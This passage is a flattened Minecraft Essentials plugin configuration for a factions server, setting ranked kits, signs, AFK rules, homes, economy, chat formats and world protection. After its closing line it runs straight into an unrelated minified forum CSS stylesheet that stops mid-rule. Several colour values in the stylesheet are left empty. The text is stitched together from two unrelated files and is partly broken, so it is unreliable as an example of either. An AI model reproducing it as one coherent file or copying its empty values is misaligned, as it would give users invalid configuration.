306 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fHelmet - 307 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fChestplate - 308 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fLeggings - 309 1 unbreaking:3 protection:4 name:&8[&eVillager&8]&fBoots - 388 10 - 383:120 2 Knight: delay: 43200 items: - 276 1 sharpness:3 name:&8[&cKnight&8]&fSword - 310 1 protection:2 name:&8[&cKnight&8]&fHelmet - 311 1 protection:2 name:&8[&cKnight&8]&fChestplate - 312 1 protection:2 name:&8[&cKnight&8]&fLeggings - 313 1 protection:2 name:&8[&cKnight&8]&fBoots - 388 20 - 383:120 4 King: delay: 43200 items: - 276 1 sharpness:4 fire:1 name:&8[&5King&8]&fSword - 310 1 protection:4 name:&8[&5King&8]&fHelmet - 311 1 protection:4 name:&8[&5King&8]&fChestplate - 312 1 protection:4 name:&8[&5King&8]&fLeggings - 313 1 protection:4 name:&8[&5King&8]&fBoots - 388 30 - 383:120 6 Hero: delay: 43200 items: - 276 1 sharpness:4 fire:2 name:&8[&aHero&8]&fSword - 310 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fHelmet - 311 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fChestplate - 312 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fLeggings - 313 1 protection:4 unbreaking:1 name:&8[&aHero&8]&fBoots - 388 40 - 383:120 8 God: delay: 43200 items: - 276 1 sharpness:5 fire:2 name:&8[&4God&8]&fSword - 310 1 protection:4 unbreaking:3 name:&8[&4God&8]&fHelmet - 311 1 protection:4 unbreaking:3 name:&8[&4God&8]&fChestplate - 312 1 protection:4 unbreaking:3 name:&8[&4God&8]&fLeggings - 313 1 protection:4 unbreaking:3 name:&8[&4God&8]&fBoots - 388 50 - 383:120 10 - 322:1 5 Legend: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&6&lLegend&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&6&lLegend&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&6&lLegend&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&6&lLegend&8]&fAxe Youtube: delay: 43200 items: - 276 1 sharpness:5 fire:2 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fSword - 310 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fHelmet - 311 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fChestplate - 312 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fLeggings - 313 1 protection:4 unbreaking:3 thorns:3 name:&8[&f&lYou&c&lTube&8]&fBoots - 388 60 - 383:120 12 - 322:1 10 - 383:50 5 - 261 1 flame:1 power:5 punch:2 unbreaking:3 infinity:1 name:&8[&f&lYou&c&lTube&8]&fBow - 262 1 - 279 1 sharpness:5 unbreaking:3 name:&8[&f&lYou&c&lTube&8]&fAxe Join: delay: 3600 items: - 17 16 - 333 1 - 49 32 - 50 16 - 4 64 - 373:8258 1 - 320 16 Reset: delay: 31536000 items: - 272 1 sharpness:4 unbreaking:3 name:&8[&cR&ee&as&be&dt&8]&fSword - 298 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fHelmet - 299 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fChestplate - 300 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fLeggings - 301 1 protection:3 unbreaking:1 name:&8[&cR&ee&as&be&dt&8]&fBoots - 354 1 name:&f&l Cake &4Vote # Essentials Sign Control # See http://wiki.ess3.net/wiki/Sign_Tutorial for instructions on how to use these. # To enable signs, remove # symbol. To disable all signs, comment/remove each sign. # Essentials Colored sign support will be enabled when any sign types are enabled. # Color is not an actual sign, it's for enabling using color codes on signs, when the correct permissions are given. enabledSigns: - color - balance - buy - sell #- trade #- free #- disposal #- warp #- kit #- mail #- enchant #- gamemode #- heal #- info #- spawnmob #- repair #- time #- weather # How many times per second can Essentials signs be interacted with per player. # Values should be between 1-20, 20 being virtually no lag protection. # Lower numbers will reduce the possibility of lag, but may annoy players. sign-use-per-second: 4 # Backup runs a batch/bash command while saving is disabled. backup: # Interval in minutes. interval: 30 # Unless you add a valid backup command or script here, this feature will be useless. # Use 'save-all' to simply force regular world saving without backup. #command: 'rdiff-backup World1 backups/World1' # Set this true to enable permission per warp. per-warp-permission: false # Sort output of /list command by groups. # You can hide and merge the groups displayed in /list by defining the desired behaviour here. # Detailed instructions and examples can be found on the wiki: http://wiki.ess3.net/wiki/List list: # To merge groups, list the groups you wish to merge #Staff: owner admin moderator Admins: owner admin # To limit groups, set a max user limit #builder: 20 # To hide groups, set the group as hidden #default: hidden # Uncomment the line below to simply list all players with no grouping #Players: '*' # More output to the console. debug: false # Set the locale for all messages. # If you don't set this, the default locale of the server will be used. # For example, to set language to English, set locale to en, to use the file "messages_en.properties". # Don't forget to remove the # in front of the line. # For more information, visit http://wiki.ess3.net/wiki/Locale #locale: en # Turn off god mode when people exit. remove-god-on-disconnect: false # Auto-AFK # After this timeout in seconds, the user will be set as afk. # This feature requires the player to have essentials.afk.auto node. # Set to -1 for no timeout. auto-afk: 300 # Auto-AFK Kick # After this timeout in seconds, the user will be kicked from the server. # essentials.afk.kickexempt node overrides this feature. # Set to -1 for no timeout. auto-afk-kick: -1 # Set this to true, if you want to freeze the player, if he is afk. # Other players or monsters can't push him out of afk mode then. # This will also enable temporary god mode for the afk player. # The player has to use the command /afk to leave the afk mode. freeze-afk-players: false # When the player is afk, should he be able to pickup items? # Enable this, when you don't want people idling in mob traps. disable-item-pickup-while-afk: false # This setting controls if a player is marked as active on interaction. # When this setting is false, you will need to manually un-AFK using the /afk command. cancel-afk-on-interact: true # Should we automatically remove afk status when the player moves? # Player will be removed from AFK on chat/command regardless of this setting. # Disable this to reduce server lag. cancel-afk-on-move: true # You can disable the death messages of Minecraft here. death-messages: false # Should operators be able to join and part silently. # You can control this with permissions if it is enabled. allow-silent-join-quit: true # You can set a custom join message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-join-message: "" # You can set a custom quit message here, set to "none" to disable. # You may use color codes, use {USERNAME} the player's name or {PLAYER} for the player's displayname. custom-quit-message: "" # Add worlds to this list, if you want to automatically disable god mode there. no-god-in-worlds: # - world_nether # Set to true to enable per-world permissions for teleporting between worlds with essentials commands. # This applies to /world, /back, /tp[a|o][here|all], but not warps. # Give someone permission to teleport to a world with essentials.worlds.<worldname> # This does not affect the /home command, there is a separate toggle below for this. world-teleport-permissions: false # The number of items given if the quantity parameter is left out in /item or /give. # If this number is below 1, the maximum stack size size is given. If over-sized stacks. # are not enabled, any number higher than the maximum stack size results in more than one stack. default-stack-size: -1 # Over-sized stacks are stacks that ignore the normal max stack size. # They can be obtained using /give and /item, if the player has essentials.oversizedstacks permission. # How many items should be in an over-sized stack? oversized-stacksize: 64 # Allow repair of enchanted weapons and armor. # If you set this to false, you can still allow it for certain players using the permission. # essentials.repair.enchanted repair-enchanted: true # Allow 'unsafe' enchantments in kits and item spawning. # Warning: Mixing and overleveling some enchantments can cause issues with clients, servers and plugins. unsafe-enchantments: false #Do you want essentials to keep track of previous location for /back in the teleport listener? #If you set this to true any plugin that uses teleport will have the previous location registered. register-back-in-listener: false #Delay to wait before people can cause attack damage after logging in. login-attack-delay: 5 #Set the max fly speed, values range from 0.1 to 1.0 max-fly-speed: 0.8 #Set the max walk speed, values range from 0.1 to 1.0 max-walk-speed: 0.8 #Set the maximum amount of mail that can be sent within a minute. mails-per-minute: 1000 # Set the maximum time /tempban can be used for in seconds. # Set to -1 to disable, and essentials.tempban.unlimited can be used to override. max-tempban-time: -1 ############################################################ # +------------------------------------------------------+ # # | EssentialsHome | # # +------------------------------------------------------+ # ############################################################ # Allows people to set their bed at daytime. update-bed-at-daytime: true # Set to true to enable per-world permissions for using homes to teleport between worlds. # This applies to the /home only. # Give someone permission to teleport to a world with essentials.worlds.<worldname> world-home-permissions: false # Allow players to have multiple homes. # Players need essentials.sethome.multiple before they can have more than 1 home. # You can set the default number of multiple homes using the 'default' rank below. # To remove the home limit entirely, give people 'essentials.sethome.multiple.unlimited'. # To grant different home amounts to different people, you need to define a 'home-rank' below. # Create the 'home-rank' below, and give the matching permission: essentials.sethome.multiple.<home-rank> # For more information, visit http://wiki.ess3.net/wiki/Multihome sethome-multiple: Goblin: 1 Villager: 2 Knight: 3 King: 4 Hero: 5 God: 6 # In this example someone with 'essentials.sethome.multiple' and 'essentials.sethome.multiple.vip' will have 5 homes. # Set timeout in seconds for players to accept tpa before request is cancelled. # Set to 0 for no timeout. tpa-accept-cancellation: 120 ############################################################ # +------------------------------------------------------+ # # | EssentialsEco | # # +------------------------------------------------------+ # ############################################################ # For more information, visit http://wiki.ess3.net/wiki/Essentials_Economy # Defines the balance with which new players begin. Defaults to 0. starting-balance: 1000 # worth-# defines the value of an item when it is sold to the server via /sell. # These are now defined in worth.yml # Defines the cost to use the given commands PER USE. # Some commands like /repair have sub-costs, check the wiki for more information. command-costs: # /example costs $1000 PER USE #example: 1000 # /kit tools costs $1500 PER USE #kit-tools: 1500 # Set this to a currency symbol you want to use. currency-symbol: '$' # Set the maximum amount of money a player can have. # The amount is always limited to 10 trillion because of the limitations of a java double. max-money: 10000000000000 # Set the minimum amount of money a player can have (must be above the negative of max-money). # Setting this to 0, will disable overdrafts/loans completely. Users need 'essentials.eco.loan' perm to go below 0. min-money: -10000 # Enable this to log all interactions with trade/buy/sell signs and sell command. economy-log-enabled: false ############################################################ # +------------------------------------------------------+ # # | EssentialsHelp | # # +------------------------------------------------------+ # ############################################################ # Show other plugins commands in help. non-ess-in-help: true # Hide plugins which do not give a permission. # You can override a true value here for a single plugin by adding a permission to a user/group. # The individual permission is: essentials.help.<plugin>, anyone with essentials.* or '*' will see all help regardless. # You can use negative permissions to remove access to just a single plugins help if the following is enabled. hide-permissionless-help: true ############################################################ # +------------------------------------------------------+ # # | EssentialsChat | # # +------------------------------------------------------+ # ############################################################ chat: # If EssentialsChat is installed, this will define how far a player's voice travels, in blocks. Set to 0 to make all chat global. # Note that users with the "essentials.chat.spy" permission will hear everything, regardless of this setting. # Users with essentials.chat.shout can override this by prefixing text with an exclamation mark (!) # Users with essentials.chat.question can override this by prefixing text with a question mark (?) # You can add command costs for shout/question by adding chat-shout and chat-question to the command costs section." radius: 0 # Chat formatting can be done in two ways, you can either define a standard format for all chat. # Or you can give a group specific chat format, to give some extra variation. # If set to the default chat format which "should" be compatible with ichat. # For more information of chat formatting, check out the wiki: http://wiki.ess3.net/wiki/Chat_Formatting format: '<{DISPLAYNAME}> {MESSAGE}' #format: '&7[{GROUP}]&r {DISPLAYNAME}&7:&r {MESSAGE}' group-formats: Goblin: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Youtuber: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Witch: '&7{DISPLAYNAME}&8:&f&o {MESSAGE}' Wizard: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Sorcerer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Raider: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Greifer: '&7{DISPLAYNAME}&8:&a {MESSAGE}' ChatMod: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Owner: '&7{DISPLAYNAME}&8:&c {MESSAGE}' OP: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Developer: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Admin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' JuniorAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' StaffManager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' ForumAdmin: '&7{DISPLAYNAME}&8:&f {MESSAGE}' HeadModerator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Moderator: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Helper: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Villager: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Knight: '&7{DISPLAYNAME}&8:&f {MESSAGE}' King: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Hero: '&7{DISPLAYNAME}&8:&f {MESSAGE}' God: '&7{DISPLAYNAME}&8:&f {MESSAGE}' Legend: '&7{DISPLAYNAME}&8:&b {MESSAGE}' # If you are using group formats make sure to remove the '#' to allow the setting to be read. ############################################################ # +------------------------------------------------------+ # # | EssentialsProtect | # # +------------------------------------------------------+ # ############################################################ protect: # General physics/behavior modifications. prevent: lava-flow: false water-flow: false water-bucket-flow: false fire-spread: true lava-fire-spread: true flint-fire: false lightning-fire-spread: true portal-creation: false tnt-explosion: false tnt-playerdamage: false tnt-minecart-explosion: false tnt-minecart-playerdamage: false fireball-explosion: false fireball-fire: false fireball-playerdamage: false witherskull-explosion: false witherskull-playerdamage: false wither-spawnexplosion: false wither-blockreplace: false creeper-explosion: false creeper-playerdamage: false creeper-blockdamage: false enderdragon-blockdamage: true enderman-pickup: false villager-death: false # Monsters won't follow players. # permission essentials.protect.entitytarget.bypass disables this. entitytarget: false # Prevent the spawning of creatures. spawn: creeper: false skeleton: false spider: false giant: false zombie: false slime: false ghast: false pig_zombie: false enderman: false cave_spider: false silverfish: false blaze: false magma_cube: false ender_dragon: false pig: false sheep: false cow: false chicken: false squid: false wolf: false mushroom_cow: false snowman: false ocelot: false iron_golem: false villager: false wither: true bat: false witch: false horse: false # Maximum height the creeper should explode. -1 allows them to explode everywhere. # Set prevent.creeper-explosion to true, if you want to disable creeper explosions. creeper: max-height: -1 # Disable various default physics and behaviors. disable: # Should fall damage be disabled? fall: false # Users with the essentials.protect.pvp permission will still be able to attack each other if this is set to true. # They will be unable to attack users without that same permission node. pvp: false # Should drowning damage be disabled? # (Split into two behaviors; generally, you want both set to the same value.) drown: false suffocate: false # Should damage via lava be disabled? Items that fall into lava will still burn to a crisp. ;) lavadmg: false # Should arrow damage be disabled? projectiles: false # This will disable damage from touching cacti. contactdmg: false # Burn, baby, burn! Should fire damage be disabled? firedmg: false # Should the damage after hit by a lightning be disabled? lightning: false # Should Wither damage be disabled? wither: false # Disable weather options? weather: storm: false thunder: false lightning: false ############################################################ # +------------------------------------------------------+ # # | EssentialsAntiBuild | # # +------------------------------------------------------+ # ############################################################ # Disable various default physics and behaviors # For more information, visit http://wiki.ess3.net/wiki/AntiBuild # Should people with build: false in permissions be allowed to build? # Set true to disable building for those people. # Setting to false means EssentialsAntiBuild will never prevent you from building. build: true # Should people with build: false in permissions be allowed to use items? # Set true to disable using for those people. # Setting to false means EssentialsAntiBuild will never prevent you from using items. use: true # Should we tell people they are not allowed to build? warn-on-build-disallow: true # For which block types would you like to be alerted? # You can find a list of IDs in plugins/Essentials/items.csv after loading Essentials for the first time. # 10 = lava :: 11 = still lava :: 46 = TNT :: 327 = lava bucket alert: on-placement: 10,11,46,327 on-use: 327 on-break: blacklist: # Which blocks should people be prevented from placing? placement: 10,11,46,327 # Which items should people be prevented from using? usage: 327 # Which blocks should people be prevented from breaking? break: # Which blocks should not be pushed by pistons? piston: # Which blocks should not be dispensed by dispensers dispenser: ############################################################ # +------------------------------------------------------+ # # | Essentials Spawn / New Players | # # +------------------------------------------------------+ # ############################################################ newbies: # Should we announce to the server when someone logs in for the first time? # If so, use this format, replacing {DISPLAYNAME} with the player name. # If not, set to '' #announce-format: '' announce-format: '&cWelcome &e&l{DISPLAYNAME}&c to the &8R&7e&8t&7r&8o&4-&cFactions server!' # When we spawn for the first time, which spawnpoint do we use? # Set to "none" if you want to use the spawn point of the world. spawnpoint: newbies # Do we want to give users anything on first join? Set to '' to disable # This kit will be given regardless of cost, and permissions. #kit: '' kit: join # Set this to lowest, if you want Multiverse to handle the respawning. # Set this to high, if you want EssentialsSpawn to handle the respawning. # Set this to highest, if you want to force EssentialsSpawn to handle the respawning. respawn-listener-priority: high # When users die, should they respawn at their first home or bed, instead of the spawnpoint? respawn-at-home: false # End of File <-- No seriously, you're done with configuration.
SuperRogerio / Css*{margin:0;padding:0}html{font-size:100%;height:100%}* html{scrollbar-3dlight-color:#;scrollbar-arrow-color:#;scrollbar-darkshadow-color:#;scrollbar-face-color:#;scrollbar-highlight-color:#;scrollbar-shadow-color:#;scrollbar-track-color:#}*+ html{scrollbar-3dlight-color:#;scrollbar-arrow-color:#;scrollbar-darkshadow-color:#;scrollbar-face-color:#;scrollbar-highlight-color:#;scrollbar-shadow-color:#;scrollbar-track-color:#}body{background-attachment:fixed;background-color:#fff;background-image:url(https://illiweb.com/fa/empty.gif);color:#666;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:10px;height:auto;padding:10px 0}#sceditor_smilies{background-color:#dceaf5}#sce_smilies_body{background-color:#e5f1f9;background-image:none;min-width:1px!important}.sceditor-container iframe,.sceditor-container textarea{background-color:transparent!important}.sceditor-container{background-color:#fff!important}.sceditor-toolbar{background-color:#f7f7f7!important}* html .conteneur_minwidth_IE{padding-left:1111px}* html .conteneur_container_IE{margin-left:-1111px;position:relative}* html .conteneur_container_IE,* html .conteneur_layout_IE,* html .conteneur_minwidth_IE{height:1px}#wrap{background-color:#fff;border:1px solid #;margin:0 auto;min-width:979px;padding:5px;width:90%}#simple-wrap{padding:6px 10px}#content-container div#container{float:left;margin-right:-12px;width:100%}#content-container div#content{margin-right:12px}#content-container div#main{margin-bottom:1em;overflow:hidden}*+ html #content-container div#main{margin-left:211px}#content-container div#left{float:left;margin-right:12px;overflow:hidden;width:199px}#content-container div#right{float:right;overflow:hidden;width:0}* html #content-container #main-content{margin-right:211px;overflow:visible}* html #content-container div#main{float:left;margin-right:-99%;width:100%}#page-body{margin:4px 0;width:100%}#page-body p.page-bottom{margin:0}h1.page-title{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:2em;font-weight:400;margin:.8em 0 .2em}h1.gallery-title{display:inline;font-size:11px;font-weight:700;text-align:center}h2{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:2em;font-weight:400;margin:.8em 0 .2em}h1.solo{margin-bottom:1em}.h3,h3{border-bottom:1px solid #1675bc;color:#1675bc;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.05em;margin-bottom:3px;margin-top:20px;padding-bottom:2px;text-transform:uppercase}.h3{font-weight:700}.introduction .h3,.module .h3,.postbody .h3{margin-top:8px}.table-title,.table-title h2{color:#fff;display:inline;font-size:1em}input{cursor:pointer;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;font-weight:400;padding:0 3px;vertical-align:middle}select{background-color:#fff;border:1px solid #0372be;cursor:pointer;font-family:Verdana,Arial,Helvetica,sans-serif;font-weight:400;padding:1px;vertical-align:middle}option{padding-right:1em}textarea{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.4em;padding:2px;width:60%}p{font-size:1.1em;line-height:1.3em;margin-bottom:.5em}p.right{text-align:right}p.right img{vertical-align:middle}p.center{margin:0;text-align:center}p.author{font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1.2em;margin:0 15em .6em 0;padding:0 0 5px}p.nomargin{font-size:1.1em;line-height:1.3em;margin-bottom:0}p.path{clear:left;margin-left:10px}fieldset{border-width:0;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em}fieldset.jumpbox{height:auto;margin-top:15px;min-height:2.5em;text-align:right}fieldset.vf_jumpbox{height:auto;min-height:2.5em;text-align:right}fieldset.quickmod{float:right;height:auto;min-height:2.5em;text-align:right;width:55%}label{color:#666;cursor:default;padding-right:5px}label input{vertical-align:middle}label img{vertical-align:middle}hr{border:0 none #fff;border-top:1px solid #fff;clear:both;display:block;height:1px;margin:5px 0}hr.dashed{border-top:1px dashed #fff;margin:5px 0}img{border-width:0}blockquote{background:#ebeadd url(https://illiweb.com/fa/prosilver/quote.gif) 6px 8px no-repeat;border:1px solid #DBDBCE;font-size:.95em;margin:1em 1px 1em 25px;overflow:hidden;padding:5px}blockquote div{margin-left:20px}blockquote blockquote{background-color:#EFEED9;font-size:1em;margin:.5em 1px 0 15px}blockquote blockquote blockquote{background-color:#ebeadd}blockquote cite{display:block;font-size:.9em;font-style:normal;font-weight:700}blockquote cite cite{font-size:1em}blockquote.uncited{padding-top:25px}ul{list-style-type:none}ul.ul-icons{float:left;margin:0 10px}* html input,* html select,* html table{font-size:100%}* html hr{margin:0}a:link{color:#0372be;text-decoration:none}a:visited{color:#0372be;text-decoration:none}a:active{color:#0372be;text-decoration:underline}a:hover{color:#f60;text-decoration:none}a.forumtitle{color:#0372be;font-family:Arial,Helvetica,sans-serif;font-size:1.2em;font-weight:700;text-decoration:none}a.forumtitle:hover{color:#f60;text-decoration:underline}a.forumtitle:active{color:#0372be}a.topictitle{color:#0372be;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:1.1em;font-weight:700;text-decoration:none}div.topic-title-container{display:inline}.topic-title{display:inline;font-size:12px;text-align:left}a.topictitle:hover{color:#f60;text-decoration:underline}a.topictitle:active{color:#0372be}.inputbox{background-color:#fff;border:1px solid #BCBCBC;color:#666;cursor:text;padding:2px}.inputbox:hover{border:1px solid #1675bc}.inputbox:focus{border:1px solid #1675bc;color:#666}input.inputbox,select.inputbox{width:85%}input.medium,select.medium{width:50%}input.narrow,select.narrow{width:25%}input.tiny,select.tiny{width:110px}textarea.inputbox{width:85%}button.button2,input.button1,input.button2{font-size:1em}a.button1,input.button1{border:1px solid #666;font-weight:700}a.button2,button.button2,input.button2{border:1px solid #BCBCBC}a.button1,a.button2,button.button2,input.button1,input.button2{background-color:#FAFAFA;background-image:url(https://illiweb.com/fa/prosilver/bg_button.gif);background-position:top;background-repeat:repeat-x;color:#000;font-family:Verdana,Arial,Helvetica,sans-serif;overflow:visible;padding:2px 3px;width:auto!important}a.button2,body:last-child a.button1,button.button2,input.button1,input.button2{padding:1px 0}a.button1:hover,a.button2:hover,button.button2:hover,input.button1:hover,input.button2:hover{background-position:0 100%;border:1px solid #f60;color:#f60}a.button1:active,a.button1:link,a.button1:visited,a.button2:active,a.button2:link,a.button2:visited{background-position:0 1px;color:#0372be;line-height:250%;padding:2px 8px;text-decoration:none;vertical-align:text-bottom}* html button.button2,* html input.button1,* html input.button2{margin-bottom:1px;padding-bottom:0}*+html button.button2{height:24px;padding-left:3px;padding-right:3px}*+html button.button2 img{vertical-align:middle}* html button.button2{height:24px;padding-left:3px;padding-right:3px}* html button.button2 img{vertical-align:middle}fieldset dl{padding:4px 0}fieldset dt{display:block;float:left;text-align:left;width:40%}fieldset dd{margin-bottom:3px;margin-left:41%;vertical-align:top}fieldset dl:hover dt label{color:#000}dt label{font-weight:700;text-align:left}dd label{color:#666;white-space:nowrap}dd input,dd textarea{margin-right:3px}dd select{width:auto}dd textarea{width:85%}fieldset.fields1 dt{border-right-width:0;width:10em}fieldset.fields1 dd{border-left-width:0;margin-left:10em}fieldset.fields1{background-color:transparent}fieldset.fields1 div{margin-bottom:3px}fieldset.fields2 dt{border-right-width:0;width:15em}fieldset.fields2 dd{border-left-width:0;margin-left:16em}fieldset.fields2 dl:hover dt label{color:inherit}fieldset.submit-buttons{margin:5px 0;text-align:center;vertical-align:middle}fieldset.submit-buttons input{padding-bottom:3px;padding-top:3px;vertical-align:middle}fieldset.polls{font-family:Verdana,Arial,Helvetica,sans-serif}fieldset.polls dl{border-top:1px solid #e2e2e2;color:#666;line-height:120%;margin-top:5px;padding:5px 0 0}fieldset.polls dt{border-right:none;display:block;float:left;font-size:1.1em;margin:0;padding:0;text-align:left;width:30%}fieldset.polls dd{border-left:none;float:left;font-size:1.1em;margin-left:0;padding:0 5px;width:10%}.headerbar{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-repeat:repeat-x;margin-bottom:4px;padding:0 5px}* html .headerbar{height:1%}*+ html .headerbar{min-height:1px}#logo-desc{margin:0;padding:0;text-align:center}#logo{float:none;padding:5px}a#logo:hover{text-decoration:none}#site-title,#site-title h1{color:#fff;font-size:20px;font-weight:700;padding-top:15px}#site-title h1{padding-top:0}#logo-desc p{color:#fff;margin:0;padding:0}.navbar{background-color:#cadceb;clear:both;padding:0 10px}ul.navlinks{border-bottom:1px solid #fff;font-weight:700;text-align:center}ul.borderless{border-bottom:0}ul.linklist li{display:inline;font-size:1.1em;line-height:2.2em;list-style-type:none;width:auto}ul.linklist li a img{vertical-align:middle}.search-box{float:left;margin-left:5px;margin-top:3px}#search-box{float:right;margin-right:5px;margin-top:10px;white-space:nowrap}* html #search-box{margin-right:35px}#search-box #keywords{background-color:#fff;width:95px},#search-box input{border:1px solid #BCBCBC}#search-box input.button1{padding:1px 5px}input.search{background:url(https://illiweb.com/fa/sprite_prosilver_navbar.png) no-repeat top left;background-position:0 -701px;padding-left:17px}ul.linklist li.rightside{float:right}ul.linklist li.footer-home{float:left}p.rightside{float:right;margin-right:5px}dl.codebox{background-color:#FFF;border:1px solid #C9D2D8;font-size:1em;padding:3px}dl.codebox dt{border-bottom:1px solid #CCC;display:block;font-size:.8em;font-weight:700;margin-bottom:3px;text-transform:uppercase}blockquote dl.codebox{margin-left:0}dl.codebox code{color:#2E8B57;display:block;font-family:Courier,CourierNew,sans-serif;font-size:.9em;font-style:normal;font-variant:normal;font-weight:normal;height:auto;line-height:1.3em;margin:2px 0;max-height:200px;overflow:auto;padding-top:5px;white-space:normal}.forabg{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;border:2px solid #;clear:both;margin-bottom:4px;padding:0 5px}* html .forabg{height:1%;position:relative}*+ html .forabg{min-height:1px}.forumbg{background-color:#1675bc;background-image:url(https://illiweb.com/fa/empty.gif);background-position:0 0;background-repeat:repeat-x;border:2px solid #;clear:both;margin-bottom:4px;padding:0 5px}* html .forumbg{height:1%}*+ html .forumbg{min-height:1px}.forumbg table.table1{margin:0 -2px -1px -1px}ul.topiclist{background-image:url(https://illiweb.com/fa/empty.gif);background-repeat:repeat-x;color:#666;list-style-type:none;margin:0}* html ul.topiclist{height:1%}*+ html ul.topiclist{min-height:1px}ul.topiclist li{display:block;margin:0}* html ul.topiclist li{position:relative}ul.topiclist li.row dl{padding:2px 0}ul.forums li.row dl{min-height:75px}* html ul.forums li.row dl{height:75px}ul.topiclist dd.dterm,ul.topiclist dt{display:block;float:left;font-size:1.1em;padding-left:5px;padding-right:5px;width:60%}ul.topiclist dfn{display:none}ul.topics li.header dl.icon dt{padding-right:50px}ul.topics dd.dterm,ul.topics dt{display:block;float:left;padding-left:45px;width:50%}ul.topics dd{display:block;float:left}ul.forums{background-color:#e5f1f9;background-image:none}li.header dl.icon{min-height:0}li.header dl.icon dt{padding-left:0}li.header dt{font-weight:700}li.header dd{margin-left:1px}dl.icon{background-position:10px 50%;background-repeat:no-repeat;height:auto;min-height:35px}dl.icon dd.dterm,dl.icon dt{background-position:5px 50%;background-repeat:no-repeat}li.header dd,li.header dt{border-left-width:0;color:#fff;font-family:Arial,Helvetica,sans-serif,Verdana,Arial,Helvetica,sans-serif;font-size:1em;line-height:1em;margin:2px 0 4px;padding-bottom:2px;padding-top:2px;text-transform:uppercase}li.row{border-bottom:1px solid #fff;border-top:1px solid #fff}li.row:hover{background-color:#}ul.topiclist dd{border-left:1px solid #fff;display:block;float:left;padding:4px 0}ul.topiclist li.header dl dd{border:none}dd.lastpost span,dd.moderation span,dd.redirect span,ul.topiclist dd.info span,ul.topiclist dd.searchby span,ul.topiclist dd.time span{display:block;padding-left:5px}ul.pmlist dt{padding-left:45px}ul.forums dd{border-color:#fff;border-left-style:solid;border-left-width:1px}li.row:hover dd{border-left-color:#fff}.mod-text{font-weight:700}.hierarchy{border:none;display:inline;font-size:1em!important;text-transform:none}.panel{background-color:#e5f1f9;color:#666;margin-bottom:4px;padding:0 10px}* html .panel{height:1%}*+ html .panel{min-height:1px}.content h2,.panel h2{border-bottom:1px solid #1675bc;color:#1675bc;font-size:1.6em;font-weight:400;margin-bottom:.5em;margin-top:.5em;padding-bottom:.5em}.content h2.h3,.panel h2.h3{font-size:1.05em;font-weight:700}.content h1,.panel h1{border-bottom:1px solid #1675bc;color:#1675bc;font-size:1.6em;font-weight:400;margin-bottom:.5em;margin-top:.5em;padding-bottom:.5em}.panel h3{margin:.5em 0}.panel-left{float:left;width:47%}.panel-right{float:right;width:47%}.panel div.mes-txt,.panel p{font-size:1.2em;line-height:1.4em;margin-bottom:1em}div.mes-txt ol,div.mes-txt ul{padding-left:40px}div.mes-txt ul{list-style-type:disc}.post{background-position:100% 0;background-repeat:no-repeat;margin-bottom:4px;padding:0 10px}*+ html .post{word-wrap:break-word}* html .post{word-wrap:break-word}.post ul{list-style-type:disc}.postprofile{border-color:#fff;border-left-style:solid;border-left-width:1px;color:#666;display:inline;float:right;margin:5px 0 0;min-height:80px;position:relative;width:22%;word-wrap:break-word}* html .postprofile{overflow:hidden}.postprofile dd,.postprofile dt{line-height:1.2em;margin-left:8px}.postprofile a:active,.postprofile a:link,.postprofile a:visited,.postprofile dt.author a{color:#0372be;font-weight:700;text-decoration:none}.postprofile a:hover,.postprofile dt.author a:hover{color:#f60;text-decoration:underline}.vote{float:right;margin-left:4px;width:9px}.vote 